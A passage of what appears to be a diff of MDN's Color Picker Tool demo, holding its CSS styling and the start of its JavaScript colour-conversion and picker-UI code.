+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+/* Preview color */
+.ui-color-picker .preview {
+	width: 95px;
+	height: 53px;
+	margin: 5px;
+	margin-top: 10px;
+	border: 1px solid #DDD;
+	background-image: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+	float: left;
+	position: relative;
+}
+
+.ui-color-picker .preview:before {
+	height: 100%;
+	width: 50%;
+	left: 50%;
+	top: 0;
+	content: "";
+	background: #FFF;
+	position: absolute;
+	z-index: 1;
+}
+
+.ui-color-picker .preview-color {
+	width: 100%;
+	height: 100%;
+	background-color: rgba(255, 0, 0, 0.5);
+	position: absolute;
+	z-index: 1;
+}
+
+.ui-color-picker .switch_mode {
+	width: 10px;
+	height: 20px;
+	position: relative;
+	border-radius: 5px 0 0 5px;
+	border: 1px solid #DDD;
+	background-color: #EEE;
+	left: -12px;
+	top: -1px;
+	z-index: 1;
+	transition: all 0.5s;
+}
+
+.ui-color-picker .switch_mode:hover {
+	background-color: #CCC;
+	cursor: pointer;
+}
+
+/*
+ * UI Component
+ */
+
+.ui-input-slider {
+	height: 20px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	-moz-user-select: none;
+	user-select: none;
+}
+
+.ui-input-slider * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Input Slider */
+
+.ui-input-slider > input {
+	margin: 0;
+	padding: 0;
+	width: 50px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-input-slider-info {
+	width: 90px;
+	padding: 0px 10px 0px 0px;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-left, .ui-input-slider-right {
+	width: 16px;
+	cursor: pointer;
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat;
+}
+
+.ui-input-slider-right {
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat;
+}
+
+.ui-input-slider-name {
+	width: 90px;
+	padding: 0 10px 0 0;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-btn-set {
+	width: 25px;
+	background-color: #2C9FC9;
+	border-radius: 5px;
+	color: #FFF;
+	font-weight: bold;
+	line-height: 14px;
+	text-align: center;
+}
+
+.ui-input-slider-btn-set:hover {
+	background-color: #379B4A;
+	cursor: pointer;
+}
+
+/*
+ * COLOR PICKER TOOL
+ */
+
+body {
+	max-width: 1000px;
+	margin: 0 auto;
+
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+
+	box-shadow: 0 0 5px 0 #999;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+
+}
+
+/**
+ * Resize Handle
+ */
+.resize-handle {
+	width: 10px;
+	height: 10px;
+	background: url('https://mdn.mozillademos.org/files/6083/resize.png') center center no-repeat;
+	position: absolute;
+	bottom: 0;
+	right: 0;
+}
+
+[data-resize='both']:hover {
+	cursor: nw-resize !important;
+}
+
+[data-resize='width']:hover {
+	cursor: w-resize !important;
+}
+
+[data-resize='height']:hover {
+	cursor: n-resize !important;
+}
+
+[data-hidden='true'] {
+	display: none;
+}
+
+[data-collapsed='true'] {
+	height: 0 !important;
+}
+
+.block {
+	display: table;
+}
+
+
+/**
+ * 	Container
+ */
+#container {
+	width: 100%;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	display: table;
+}
+
+/**
+ * 	Picker Zone
+ */
+
+#picker {
+	padding: 10px;
+	width: 980px;
+}
+
+.ui-color-picker {
+	padding: 3px 5px;
+	float: left;
+	border-color: #FFF;
+}
+
+.ui-color-picker .switch_mode {
+	display: none;
+}
+
+.ui-color-picker .preview-color:hover {
+	cursor: move;
+}
+
+/**
+ * Picker Container
+ */
+
+#picker-samples {
+	width: 375px;
+	height: 114px;
+	max-height: 218px;
+	margin: 0 10px 0 30px;
+	overflow: hidden;
+	position: relative;
+	float: left;
+
+	transition: all 0.2s;
+}
+
+#picker-samples .sample {
+	width: 40px;
+	height: 40px;
+	margin: 5px;
+	border: 1px solid #DDD;
+	position: absolute;
+	float: left;
+	transition: all 0.2s;
+}
+
+#picker-samples .sample:hover {
+	cursor: pointer;
+	border-color: #BBB;
+	transform: scale(1.15);
+	border-radius: 3px;
+}
+
+#picker-samples .sample[data-active='true'] {
+	border-color: #999;
+}
+
+#picker-samples .sample[data-active='true']:after {
+	content: "";
+	position: absolute;
+	background: url('https://mdn.mozillademos.org/files/6065/arrow.png') center no-repeat;
+	width: 100%;
+	height: 12px;
+	top: -12px;
+	z-index: 2;
+}
+
+#picker-samples #add-icon {
+	width: 100%;
+	height: 100%;
+	position: relative;
+	box-shadow: inset 0px 0px 2px 0px #DDD;
+}
+
+#picker-samples #add-icon:hover {
+	cursor: pointer;
+	border-color: #DDD;
+	box-shadow: inset 0px 0px 5px 0px #CCC;
+}
+
+#picker-samples #add-icon:before,
+#picker-samples #add-icon:after {
+	content: "";
+	position: absolute;
+	background-color: #EEE;
+	box-shadow: 0 0 1px 0 #EEE;
+}
+
+#picker-samples #add-icon:before {
+	width: 70%;
+	height: 16%;
+	top: 42%;
+	left: 15%;
+}
+
+#picker-samples #add-icon:after {
+	width: 16%;
+	height: 70%;
+	top: 15%;
+	left: 42%;
+}
+
+#picker-samples #add-icon:hover:before,
+#picker-samples #add-icon:hover:after {
+	background-color: #DDD;
+	box-shadow: 0 0 1px 0 #DDD;
+}
+
+/**
+ * 	Controls
+ */
+
+#controls {
+	width: 110px;
+	padding: 10px;
+	float: right;
+}
+
+#controls #picker-switch {
+	text-align: center;
+	float: left;
+}
+
+#controls .icon {
+	width: 48px;
+	height: 48px;
+	margin: 10px 0;
+	background-repeat: no-repeat;
+	background-position: center;
+	border: 1px solid #DDD;
+	display: table;
+	float: left;
+}
+
+#controls .icon:hover {
+	cursor: pointer;
+}
+
+#controls .picker-icon {
+	background-image: url('https://mdn.mozillademos.org/files/6081/picker.png');
+}
+
+#controls #void-sample {
+	margin-right: 10px;
+	background-image: url('https://mdn.mozillademos.org/files/6087/void.png');
+	background-position: center left;
+}
+
+#controls #void-sample[data-active='true'] {
+	border-color: #CCC;
+	background-position: center right;
+}
+
+#controls .switch {
+	width: 106px;
+	padding: 1px;
+	border: 1px solid #CCC;
+	font-size: 14px;
+	text-align: center;
+	line-height: 24px;
+	overflow: hidden;
+	float: left;
+}
+
+#controls .switch:hover {
+	cursor: pointer;
+}
+
+#controls .switch > * {
+	width: 50%;
+	padding: 2px 0;
+	background-color: #EEE;
+	float: left;
+}
+
+#controls .switch [data-active='true'] {
+	color: #FFF;
+	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+	background-color: #777;
+}
+
+/**
+ * 	Trash Can
+ */
+
+#delete {
+	width: 100%;
+	height: 94px;
+	background-color: #DDD;
+	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+	background-repeat: repeat;
+
+	text-align: center;
+	color: #777;
+
+	position: relative;
+	float: right;
+}
+
+#delete #trash-can {
+	width: 80%;
+	height: 80%;
+	border: 2px dashed #FFF;
+	border-radius: 5px;
+	background: url('https://mdn.mozillademos.org/files/6085/trash-can.png') no-repeat center;
+
+	position: absolute;
+	top: 10%;
+	left: 10%;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	transition: all 0.2s;
+}
+
+#delete[drag-state='enter'] {
+	background-color: #999;
+}
+
+/**
+ * 	Color Theme
+ */
+
+#color-theme {
+	margin: 0 8px 0 0;
+	border: 1px solid #EEE;
+	display: inline-block;
+	float: right;
+}
+
+#color-theme .box {
+	width: 80px;
+	height: 92px;
+	float: left;
+}
+
+/**
+ * Color info box
+ */
+#color-info {
+	width: 360px;
+	float: left;
+}
+
+#color-info .title {
+	width: 100%;
+	padding: 15px;
+	font-size: 18px;
+	text-align: center;
+	background-image: url('https://mdn.mozillademos.org/files/6071/color-wheel.png');
+	background-repeat:no-repeat;
+	background-position: center left 30%;
+}
+
+#color-info .copy-container {
+	position: absolute;
+	top: -100%;
+}
+
+#color-info .property {
+	min-width: 280px;
+	height: 30px;
+	margin: 10px 0;
+	text-align: center;
+	line-height: 30px;
+}
+
+#color-info .property > * {
+	float: left;
+}
+
+#color-info .property .type {
+	width: 60px;
+	height: 100%;
+	padding: 0 16px 0 0;
+	text-align: right;
+}
+
+#color-info .property .value {
+	width: 200px;
+	height: 100%;
+	padding: 0 10px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	font-size: 16px;
+	color: #777;
+	text-align: center;
+	background-color: #FFF;
+	border: none;
+}
+
+#color-info .property .value:hover {
+	color: #37994A;
+}
+
+#color-info .property .value:hover + .copy {
+	background-position: center right;
+}
+
+#color-info .property .copy {
+	width: 24px;
+	height: 100%;
+	padding: 0 5px;
+	background-color: #FFF;
+	background-image: url('https://mdn.mozillademos.org/files/6073/copy.png');
+	background-repeat: no-repeat;
+	background-position: center left;
+	border-left: 1px solid #EEE;
+	text-align: right;
+	float: left;
+}
+
+#color-info .property .copy:hover {
+	background-position: center right;
+}
+
+
+/**
+ * 	Color Palette
+ */
+
+#palette {
+	width: 1000px;
+	padding: 10px 0;
+	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+	background-repeat: repeat;
+	background-color: #EEE;
+	color: #777;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#color-palette {
+	width: 640px;
+	font-family: Arial, Helvetica, sans-serif;
+	color: #777;
+	float: left;
+}
+
+#color-palette .container {
+	width: 100%;
+	height: 50px;
+	line-height: 50px;
+	overflow: hidden;
+	float: left;
+	transition: all 0.5s;
+}
+
+#color-palette .container > * {
+	float: left;
+}
+
+#color-palette .title {
+	width: 100px;
+	padding: 0 10px;
+	text-align: right;
+	line-height: inherit;
+}
+
+#color-palette .palette {
+	width: 456px;
+	height: 38px;
+	margin: 3px;
+	padding: 3px;
+	display: table;
+	background-color: #FFF;
+}
+
+#color-palette .palette .sample {
+	width: 30px;
+	height: 30px;
+	margin: 3px;
+	position: relative;
+	border: 1px solid #DDD;
+	float: left;
+	transition: all 0.2s;
+}
+
+#color-palette .palette .sample:hover {
+	cursor: pointer;
+	border-color: #BBB;
+	transform: scale(1.15);
+	border-radius: 3px;
+}
+
+#color-palette .controls {
+}
+
+#color-palette .controls > * {
+	float: left;
+}
+
+#color-palette .controls > *:hover {
+	cursor: pointer;
+}
+
+#color-palette .controls .lock {
+	width: 24px;
+	height: 24px;
+	margin: 10px;
+	padding: 3px;
+	background-image: url('https://mdn.mozillademos.org/files/6077/lock.png');
+	background-repeat: no-repeat;
+	background-position: bottom right;
+}
+
+#color-palette .controls .lock:hover {
+	/*background-image: url('images/unlocked-hover.png');*/
+	background-position: bottom left;
+}
+
+#color-palette .controls .lock[locked-state='true'] {
+	/*background-image: url('images/locked.png');*/
+	background-position: top left ;
+}
+
+#color-palette .controls .lock[locked-state='true']:hover {
+	/*background-image: url('images/lock-hover.png');*/
+	background-position: top right;
+}
+
+/**
+ * Canvas
+ */
+
+#canvas {
+	width: 100%;
+	height: 300px;
+	min-height: 250px;
+	border-top: 1px solid #DDD;
+	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+	background-repeat: repeat;
+	position: relative;
+	float: left;
+}
+
+#canvas[data-tutorial='drop'] {
+	text-align: center;
+	font-size: 30px;
+	color: #777;
+}
+
+#canvas[data-tutorial='drop']:before {
+	content: "Drop colors here to compare";
+	width: 40%;
+	padding: 30px 9% 70px 11%;
+
+	background-image: url('https://mdn.mozillademos.org/files/6075/drop.png');
+	background-repeat: no-repeat;
+	background-position: left 35px top 60%;
+
+	text-align: right;
+
+	border: 3px dashed rgb(221, 221, 221);
+	border-radius: 15px;
+
+	position: absolute;
+	top: 50px;
+	left: 20%;
+}
+
+#canvas[data-tutorial='drop']:after {
+	content: "adjust, change or modify";
+	width: 40%;
+	font-size: 24px;
+	position: absolute;
+	top: 130px;
+	left: 32%;
+	z-index: 2;
+}
+
+#canvas [data-tutorial='dblclick'] {
+	background-color: #999 !important;
+}
+
+#canvas [data-tutorial='dblclick']:before {
+	content: "double click to activate";
+	width: 80px;
+	color: #FFF;
+	position: absolute;
+	top: 10%;
+	left: 20%;
+	z-index: 2;
+}
+
+#canvas .sample {
+	width: 100px;
+	height: 100px;
+	min-width: 20px;
+	min-height: 20px;
+	position: absolute;
+	border: 1px solid rgba(255, 255, 255, 0.3);
+}
+
+#canvas .sample:hover {
+	cursor: move;
+}
+
+#canvas .sample[data-active='true']:after {
+	content: "";
+	position: absolute;
+	background: url('https://mdn.mozillademos.org/files/6065/arrow.png') center no-repeat;
+	width: 100%;
+	height: 12px;
+	top: -12px;
+	z-index: 2;
+}
+
+#canvas .sample:hover > * {
+	cursor: pointer;
+	display: block !important;
+}
+
+#canvas .sample .resize-handle {
+	display: none;
+}
+
+#canvas .sample .pick {
+	width: 10px;
+	height: 10px;
+	margin: 5px;
+	background: url('https://mdn.mozillademos.org/files/6079/pick.png') center no-repeat;
+	position: absolute;
+	top: 0;
+	left: 0;
+	display: none;
+}
+
+#canvas .sample .delete {
+	width: 10px;
+	height: 10px;
+	margin: 5px;
+	background: url('https://mdn.mozillademos.org/files/6069/close.png') center no-repeat;
+	position: absolute;
+	top: 0;
+	right: 0;
+	display: none;
+}
+
+
+/**
+ * Canvas controls
+ */
+
+#canvas .toggle-bg {
+	width: 16px;
+	height: 16px;
+	margin: 5px;
+	background: url("images/canvas-controls.png") center left no-repeat;
+	position: absolute;
+	top: 0;
+	right: 0;
+}
+
+#canvas .toggle-bg:hover {
+	cursor: pointer;
+}
+
+#canvas[data-bg='true'] {
+	background: none;
+}
+
+#canvas[data-bg='true'] .toggle-bg {
+	background: url('https://mdn.mozillademos.org/files/6067/canvas-controls.png') center right no-repeat;
+}
+
+#zindex {
+	height: 20px;
+	margin: 5px;
+	font-size: 16px;
+	position: absolute;
+	opacity: 0;
+	top: -10000px;
+	left: 0;
+	color: #777;
+	float: left;
+	transition: opacity 1s;
+}
+
+#zindex input {
+	border: 1px solid #DDD;
+	font-size: 16px;
+	color: #777;
+}
+
+#zindex .ui-input-slider-info {
+	width: 60px;
+}
+
+#zindex[data-active='true'] {
+	top: 0;
+	opacity: 1;
+}
+
+
+ +

JavaScript Content

+ +
'use strict';
+
+var UIColorPicker = (function UIColorPicker() {
+
+	function getElemById(id) {
+		return document.getElementById(id);
+	}
+
+	var subscribers = [];
+	var pickers = [];
+
+	/**
+	 * RGBA Color class
+	 *
+	 * HSV/HSB and HSL (hue, saturation, value / brightness, lightness)
+	 * @param hue			0-360
+	 * @param saturation	0-100
+	 * @param value 		0-100
+	 * @param lightness		0-100
+	 */
+
+	function Color(color) {
+
+		if(color instanceof Color === true) {
+			this.copy(color);
+			return;
+		}
+
+		this.r = 0;
+		this.g = 0;
+		this.b = 0;
+		this.a = 1;
+		this.hue = 0;
+		this.saturation = 0;
+		this.value = 0;
+		this.lightness = 0;
+		this.format = 'HSV';
+	}
+
+	function RGBColor(r, g, b) {
+		var color = new Color();
+		color.setRGBA(r, g, b, 1);
+		return color;
+	}
+
+	function RGBAColor(r, g, b, a) {
+		var color = new Color();
+		color.setRGBA(r, g, b, a);
+		return color;
+	}
+
+	function HSVColor(h, s, v) {
+		var color = new Color();
+		color.setHSV(h, s, v);
+		return color;
+	}
+
+	function HSVAColor(h, s, v, a) {
+		var color = new Color();
+		color.setHSV(h, s, v);
+		color.a = a;
+		return color;
+	}
+
+	function HSLColor(h, s, l) {
+		var color = new Color();
+		color.setHSL(h, s, l);
+		return color;
+	}
+
+	function HSLAColor(h, s, l, a) {
+		var color = new Color();
+		color.setHSL(h, s, l);
+		color.a = a;
+		return color;
+	}
+
+	Color.prototype.copy = function copy(obj) {
+		if(obj instanceof Color !== true) {
+			console.log('Typeof parameter not Color');
+			return;
+		}
+
+		this.r = obj.r;
+		this.g = obj.g;
+		this.b = obj.b;
+		this.a = obj.a;
+		this.hue = obj.hue;
+		this.saturation = obj.saturation;
+		this.value = obj.value;
+		this.format = '' + obj.format;
+		this.lightness = obj.lightness;
+	};
+
+	Color.prototype.setFormat = function setFormat(format) {
+		if (format === 'HSV')
+			this.format = 'HSV';
+		if (format === 'HSL')
+			this.format = 'HSL';
+	};
+
+	/*========== Methods to set Color Properties ==========*/
+
+	Color.prototype.isValidRGBValue = function isValidRGBValue(value) {
+		return (typeof(value) === 'number' && isNaN(value) === false &&
+			value >= 0 && value <= 255);
+	};
+
+	Color.prototype.setRGBA = function setRGBA(red, green, blue, alpha) {
+		if (this.isValidRGBValue(red) === false ||
+			this.isValidRGBValue(green) === false ||
+			this.isValidRGBValue(blue) === false)
+			return;
+
+			this.r = red | 0;
+			this.g = green | 0;
+			this.b = blue | 0;
+
+		if (this.isValidRGBValue(alpha) === true)
+			this.a = alpha | 0;
+	};
+
+	Color.prototype.setByName = function setByName(name, value) {
+		if (name === 'r' || name === 'g' || name === 'b') {
+			if(this.isValidRGBValue(value) === false)
+				return;
+
+			this[name] = value;
+			this.updateHSX();
+		}
+	};
+
+	Color.prototype.setHSV = function setHSV(hue, saturation, value) {
+		this.hue = hue;
+		this.saturation = saturation;
+		this.value = value;
+		this.HSVtoRGB();
+	};
+
+	Color.prototype.setHSL = function setHSL(hue, saturation, lightness) {
+		this.hue = hue;
+		this.saturation = saturation;
+		this.lightness = lightness;
+		this.HSLtoRGB();
+	};
+
+	Color.prototype.setHue = function setHue(value) {
+		if (typeof(value) !== 'number' || isNaN(value) === true ||
+			value < 0 || value > 359)
+			return;
+		this.hue = value;
+		this.updateRGB();
+	};
+
+	Color.prototype.setSaturation = function setSaturation(value) {
+		if (typeof(value) !== 'number' || isNaN(value) === true ||
+			value < 0 || value > 100)
+			return;
+		this.saturation = value;
+		this.updateRGB();
+	};
+
+	Color.prototype.setValue = function setValue(value) {
+		if (typeof(value) !== 'number' || isNaN(value) === true ||
+			value < 0 || value > 100)
+			return;
+		this.value = value;
+		this.HSVtoRGB();
+	};
+
+	Color.prototype.setLightness = function setLightness(value) {
+		if (typeof(value) !== 'number' || isNaN(value) === true ||
+			value < 0 || value > 100)
+			return;
+		this.lightness = value;
+		this.HSLtoRGB();
+	};
+
+	Color.prototype.setHexa = function setHexa(value) {
+		var valid  = /(^#{0,1}[0-9A-F]{6}$)|(^#{0,1}[0-9A-F]{3}$)/i.test(value);
+
+		if (valid !== true)
+			return;
+
+		if (value[0] === '#')
+			value = value.slice(1, value.length);
+
+		if (value.length === 3)
+			value = value.replace(/([0-9A-F])([0-9A-F])([0-9A-F])/i,'$1$1$2$2$3$3');
+
+		this.r = parseInt(value.substr(0, 2), 16);
+		this.g = parseInt(value.substr(2, 2), 16);
+		this.b = parseInt(value.substr(4, 2), 16);
+
+		this.alpha	= 1;
+		this.RGBtoHSV();
+	};
+
+	/*========== Conversion Methods ==========*/
+
+	Color.prototype.convertToHSL = function convertToHSL() {
+		if (this.format === 'HSL')
+			return;
+
+		this.setFormat('HSL');
+		this.RGBtoHSL();
+	};
+
+	Color.prototype.convertToHSV = function convertToHSV() {
+		if (this.format === 'HSV')
+			return;
+
+		this.setFormat('HSV');
+		this.RGBtoHSV();
+	};
+
+	/*========== Update Methods ==========*/
+
+	Color.prototype.updateRGB = function updateRGB() {
+		if (this.format === 'HSV') {
+			this.HSVtoRGB();
+			return;
+		}
+
+		if (this.format === 'HSL') {
+			this.HSLtoRGB();
+			return;
+		}
+	};
+
+	Color.prototype.updateHSX = function updateHSX() {
+		if (this.format === 'HSV') {
+			this.RGBtoHSV();
+			return;
+		}
+
+		if (this.format === 'HSL') {
+			this.RGBtoHSL();
+			return;
+		}
+	};
+
+	Color.prototype.HSVtoRGB = function HSVtoRGB() {
+		var sat = this.saturation / 100;
+		var value = this.value / 100;
+		var C = sat * value;
+		var H = this.hue / 60;
+		var X = C * (1 - Math.abs(H % 2 - 1));
+		var m = value - C;
+		var precision = 255;
+
+		C = (C + m) * precision | 0;
+		X = (X + m) * precision | 0;
+		m = m * precision | 0;
+
+		if (H >= 0 && H < 1) {	this.setRGBA(C, X, m);	return; }
+		if (H >= 1 && H < 2) {	this.setRGBA(X, C, m);	return; }
+		if (H >= 2 && H < 3) {	this.setRGBA(m, C, X);	return; }
+		if (H >= 3 && H < 4) {	this.setRGBA(m, X, C);	return; }
+		if (H >= 4 && H < 5) {	this.setRGBA(X, m, C);	return; }
+		if (H >= 5 && H < 6) {	this.setRGBA(C, m, X);	return; }
+	};
+
+	Color.prototype.HSLtoRGB = function HSLtoRGB() {
+		var sat = this.saturation / 100;
+		var light = this.lightness / 100;
+		var C = sat * (1 - Math.abs(2 * light - 1));
+		var H = this.hue / 60;
+		var X = C * (1 - Math.abs(H % 2 - 1));
+		var m = light - C/2;
+		var precision = 255;
+
+		C = (C + m) * precision | 0;
+		X = (X + m) * precision | 0;
+		m = m * precision | 0;
+
+		if (H >= 0 && H < 1) {	this.setRGBA(C, X, m);	return; }
+		if (H >= 1 && H < 2) {	this.setRGBA(X, C, m);	return; }
+		if (H >= 2 && H < 3) {	this.setRGBA(m, C, X);	return; }
+		if (H >= 3 && H < 4) {	this.setRGBA(m, X, C);	return; }
+		if (H >= 4 && H < 5) {	this.setRGBA(X, m, C);	return; }
+		if (H >= 5 && H < 6) {	this.setRGBA(C, m, X);	return; }
+	};
+
+	Color.prototype.RGBtoHSV = function RGBtoHSV() {
+		var red		= this.r / 255;
+		var green	= this.g / 255;
+		var blue	= this.b / 255;
+
+		var cmax = Math.max(red, green, blue);
+		var cmin = Math.min(red, green, blue);
+		var delta = cmax - cmin;
+		var hue = 0;
+		var saturation = 0;
+
+		if (delta) {
+			if (cmax === red ) { hue = ((green - blue) / delta); }
+			if (cmax === green ) { hue = 2 + (blue - red) / delta; }
+			if (cmax === blue ) { hue = 4 + (red - green) / delta; }
+			if (cmax) saturation = delta / cmax;
+		}
+
+		this.hue = 60 * hue | 0;
+		if (this.hue < 0) this.hue += 360;
+		this.saturation = (saturation * 100) | 0;
+		this.value = (cmax * 100) | 0;
+	};
+
+	Color.prototype.RGBtoHSL = function RGBtoHSL() {
+		var red		= this.r / 255;
+		var green	= this.g / 255;
+		var blue	= this.b / 255;
+
+		var cmax = Math.max(red, green, blue);
+		var cmin = Math.min(red, green, blue);
+		var delta = cmax - cmin;
+		var hue = 0;
+		var saturation = 0;
+		var lightness = (cmax + cmin) / 2;
+		var X = (1 - Math.abs(2 * lightness - 1));
+
+		if (delta) {
+			if (cmax === red ) { hue = ((green - blue) / delta); }
+			if (cmax === green ) { hue = 2 + (blue - red) / delta; }
+			if (cmax === blue ) { hue = 4 + (red - green) / delta; }
+			if (cmax) saturation = delta / X;
+		}
+
+		this.hue = 60 * hue | 0;
+		if (this.hue < 0) this.hue += 360;
+		this.saturation = (saturation * 100) | 0;
+		this.lightness = (lightness * 100) | 0;
+	};
+
+	/*========== Get Methods ==========*/
+
+	Color.prototype.getHexa = function getHexa() {
+		var r = this.r.toString(16);
+		var g = this.g.toString(16);
+		var b = this.b.toString(16);
+		if (this.r < 16) r = '0' + r;
+		if (this.g < 16) g = '0' + g;
+		if (this.b < 16) b = '0' + b;
+		var value = '#' + r + g + b;
+		return value.toUpperCase();
+	};
+
+	Color.prototype.getRGBA = function getRGBA() {
+
+		var rgb = '(' + this.r + ', ' + this.g + ', ' + this.b;
+		var a = '';
+		var v = '';
+		var x = parseFloat(this.a);
+		if (x !== 1) {
+			a = 'a';
+			v = ', ' + x;
+		}
+
+		var value = 'rgb' + a + rgb + v + ')';
+		return value;
+	};
+
+	Color.prototype.getHSLA = function getHSLA() {
+		if (this.format === 'HSV') {
+			var color = new Color(this);
+			color.setFormat('HSL');
+			color.updateHSX();
+			return color.getHSLA();
+		}
+
+		var a = '';
+		var v = '';
+		var hsl = '(' + this.hue + ', ' + this.saturation + '%, ' + this.lightness +'%';
+		var x = parseFloat(this.a);
+		if (x !== 1) {
+			a = 'a';
+			v = ', ' + x;
+		}
+
+		var value = 'hsl' + a + hsl + v + ')';
+		return value;
+	};
+
+	Color.prototype.getColor = function getColor() {
+		if (this.a | 0 === 1)
+			return this.getHexa();
+		return this.getRGBA();
+	};
+
+	/*=======================================================================*/
+	/*=======================================================================*/
+
+	/*========== Capture Mouse Movement ==========*/
+
+	var setMouseTracking = function setMouseTracking(elem, callback) {
+		elem.addEventListener('mousedown', function(e) {
+			callback(e);
+			document.addEventListener('mousemove', callback);
+		});
+
+		document.addEventListener('mouseup', function(e) {
+			document.removeEventListener('mousemove', callback);
+		});
+	};
+
+	/*====================*/
+	// Color Picker Class
+	/*====================*/
+
+	function ColorPicker(node) {
+		this.color = new Color();
+		this.node = node;
+		this.subscribers = [];
+
+		var type = this.node.getAttribute('data-mode');
+		var topic = this.node.getAttribute('data-topic');
+
+		this.topic = topic;
+		this.picker_mode = (type === 'HSL') ? 'HSL' : 'HSV';
+		this.color.setFormat(this.picker_mode);
+
+		this.createPickingArea();
+		this.createHueArea();
+
+		this.newInputComponent('H', 'hue', this.inputChangeHue.bind(this));
+		this.newInputComponent('S', 'saturation', this.inputChangeSaturation.bind(this));
+		this.newInputComponent('V', 'value', this.inputChangeValue.bind(this));
+		this.newInputComponent('L', 'lightness', this.inputChangeLightness.bind(this));
+
+		this.createAlphaArea();
+
+		this.newInputComponent('R', 'red', this.inputChangeRed.bind(this));
+		this.newInputComponent('G', 'green', this.inputChangeGreen.bind(this));
+		this.newInputComponent('B', 'blue', this.inputChangeBlue.bind(this));
+
+		this.createPreviewBox();
+		this.createChangeModeButton();
+
+		this.newInputComponent('alpha', 'alpha', this.inputChangeAlpha.bind(this));
+		this.newInputComponent('hexa', 'hexa', this.inputChangeHexa.bind(this));
+
+		this.setColor(this.color);
+		pickers[topic] = this;
+	}
+
+	/*************************************************************************/
+	//				Function for generating the color-picker
+	/*************************************************************************/
+
+	ColorPicker.prototype.createPickingArea = function createPickingArea() {
+		var area = document.createElement('div');
+		var picker = document.createElement('div');
+
+		area.className = 'picking-area';
+		picker.className = 'picker';
+
+		this.picking_area = area;
+		this.color_picker = picker;
+		setMouseTracking(area, this.updateColor.bind(this));
+
+		area.appendChild(picker);
+		this.node.appendChild(area);
+	};
+
+	ColorPicker.prototype.createHueArea = function createHueArea() {
+		var area = document.createElement('div');
+		var picker = document.createElement('div');
+
+		area.className = 'hue';
+		picker.className ='slider-picker';
+
+		this.hue_area = area;
+		this.hue_picker = picker;
+		setMouseTracking(area, this.updateHueSlider.bind(this));
+
+		area.appendChild(picker);
+		this.node.appendChild(area);
+	};
+
+	ColorPicker.prototype.createAlphaArea = function createAlphaArea() {
+		var area = document.createElement('div');
+		var mask = document.createElement('div');
+		var picker = document.createElement('div');
+
+		area.className = 'alpha';
+		mask.className = 'alpha-mask';
+		picker.className = 'slider-picker';
+
+		this.alpha_area = area;
+		this.alpha_mask = mask;
+		this.alpha_picker = picker;
+		setMouseTracking(area, this.updateAlphaSlider.bind(this));
+
+		area.appendChild(mask);
+		mask.appendChild(picker);
+		this.node.appendChild(area);
+	};
+
+	ColorPicker.prototype.createPreviewBox = function createPreviewBox(e) {
+		var preview_box = document.createElement('div');
+		var preview_color = document.createElement('div');
+
+		preview_box.className = 'preview';
+		preview_color.className = 'preview-color';
+
+		this.preview_color = preview_color;
+
+		preview_box.appendChild(preview_color);
+		this.node.appendChild(preview_box);
+	};
+
+	ColorPicker.prototype.newInputComponent = function newInputComponent(title, topic, onChangeFunc) {
+		var wrapper = document.createElement('div');
+		var input = document.createElement('input');
+		var info = document.createElement('span');
+
+		wrapper.className = 'input';
+		wrapper.setAttribute('data-topic', topic);
+		info.textContent = title;
+		info.className = 'name';
+		input.setAttribute('type', 'text');
+
+		wrapper.appendChild(info);
+		wrapper.appendChild(input);
+		this.node.appendChild(wrapper);
+
+		input.addEventListener('change', onChangeFunc);
+		input.addEventListener('click', function() {
+			this.select();
+		});
+
+		this.subscribe(topic, function(value) {
+			input.value = value;
+		});
+	};
+
+	ColorPicker.prototype.createChangeModeButton = function createChangeModeButton() {
+
+		var button = document.createElement('div');
+		button.className = 'switch_mode';
+		button.addEventListener('click', function() {
+			if (this.picker_mode === 'HSV')
+				this.setPickerMode('HSL');
+			else
+				this.setPickerMode('HSV');
+
+		}.bind(this));
+
+		this.node.appendChild(button);
+	};
+
+	/*************************************************************************/
+	//					Updates properties of UI elements
+	/*************************************************************************/
+
+	ColorPicker.prototype.updateColor = function updateColor(e) {
+		var x = e.pageX - this.picking_area.offsetLeft;
+		var y = e.pageY - this.picking_area.offsetTop;
+		var picker_offset = 5;
+
+		// width and height should be the same
+		var size = this.picking_area.clientWidth;
+
+		if (x > size) x = size;
+		if (y > size) y = size;
+		if (x < 0) x = 0;
+		if (y < 0) y = 0;
+
+		var value = 100 - (y * 100 / size) | 0;
+		var saturation = x * 100 / size | 0;
+
+		if (this.picker_mode === 'HSV')
+			this.color.setHSV(this.color.hue, saturation, value);
+		if (this.picker_mode === 'HSL')
+			this.color.setHSL(this.color.hue, saturation, value);
+
+		this.color_picker.style.left = x - picker_offset + 'px';
+		this.color_picker.style.top = y - picker_offset + 'px';
+
+		this.updateAlphaGradient();
+		this.updatePreviewColor();
+
+		this.notify('value', value);
+		this.notify('lightness', value);
+		this.notify('saturation', saturation);
+
+		this.notify('red', this.color.r);
+		this.notify('green', this.color.g);
+		this.notify('blue', this.color.b);
+		this.notify('hexa', this.color.getHexa());
+
+		notify(this.topic, this.color);
+	};
+
+	ColorPicker.prototype.updateHueSlider = function updateHueSlider(e) {
